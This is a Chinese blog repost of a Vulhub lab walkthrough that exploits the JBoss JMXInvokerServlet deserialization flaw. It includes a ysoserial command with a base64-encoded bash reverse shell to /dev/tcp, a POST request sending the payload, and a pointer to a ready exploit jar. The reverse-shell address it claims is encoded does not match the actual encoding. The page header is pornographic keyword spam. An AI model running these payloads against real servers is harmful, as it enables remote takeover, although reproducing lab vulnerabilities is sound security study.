日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

利用Vulnhub复现漏洞 - JBoss JMXInvokerServlet 反序列化漏洞

發布時間:2023/12/2 编程问答 45 豆豆
生活随笔 收集整理的這篇文章主要介紹了 利用Vulnhub复现漏洞 - JBoss JMXInvokerServlet 反序列化漏洞 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

JBoss JMXInvokerServlet 反序列化漏洞

    • Vulnhub官方復現教程
      • 漏洞原理
    • 復現過程
      • 啟動環境
      • 端口設置
          • 瀏覽器設置
          • BurpSuit設置
      • 復現漏洞
      • 序列化數據生成
      • 發送POC
      • EXP

Vulnhub官方復現教程

https://vulhub.org/#/environments/jboss/JMXInvokerServlet-deserialization/

漏洞原理

這是經典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet請求中讀取了用戶傳入的對象,然后我們利用Apache Commons Collections中的Gadget執行任意代碼。

參考文檔:

  • https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
  • https://www.seebug.org/vuldb/ssvid-89723
  • http://www.freebuf.com/sectool/88908.html
  • https://paper.seebug.org/312/

復現過程

啟動環境

https://blog.csdn.net/JiangBuLiu/article/details/93853056
進入路徑為

cd /root/vulhub/jboss/JMXInvokerServlet-deserialization

搭建及運行漏洞環境:

docker-compose build && docker-compose up -d

用時:4分鐘
環境啟動后,訪問http://your-ip:8080/即可看到JBoss默認頁面。

端口設置

瀏覽器設置

以火狐瀏覽器FireFox為例,在選項→常規→網絡設置→設置,將連接中手動代理配置的HTTP代理,填寫127.0.0.1,端口為8080

BurpSuit設置

在Proxy下Options的Proxy Listeners編輯監聽端口為8080

并將Proxy下Intercept點擊成Intercept is on

復現漏洞

JBoss在處理/invoker/JMXInvokerServlet請求的時候讀取了對象,所以我們直接將ysoserial生成好的POC附在POST Body中發送即可。整個過程可參考jboss/CVE-2017-12149。

序列化數據生成

使用ysoserial來復現生成序列化數據,由于Vulhub使用的Java版本較新,所以選擇使用的gadget是CommonsCollections5:

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser

【注意】上面POC中{}內base64的編碼原內容為bash -i >& /dev/tcp/192.168.236.138/3333 0>&1

【注意注意】!!!ysoserial不要用Powershell!!!一定要用cmd!!!

發送POC

生成好的POC文件.ser,將這個文件作為POST Body發送至/invoker/JMXInvokerServlet即可:

POST /invoker/JMXInvokerServlet HTTP/1.1 Host: 192.168.236.138:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-java-serialized-object Content-Length: 4240

【右擊選擇上傳文件,選中POC上傳】


比如我POC中的命令是監聽端口,那么就檢測對應端口

nv -lvnp [端口號]

EXP

網上已經有很多EXP了,比如DeserializeExploit.jar

直接用該工具執行命令、上傳文件即可:

總結

以上是生活随笔為你收集整理的利用Vulnhub复现漏洞 - JBoss JMXInvokerServlet 反序列化漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。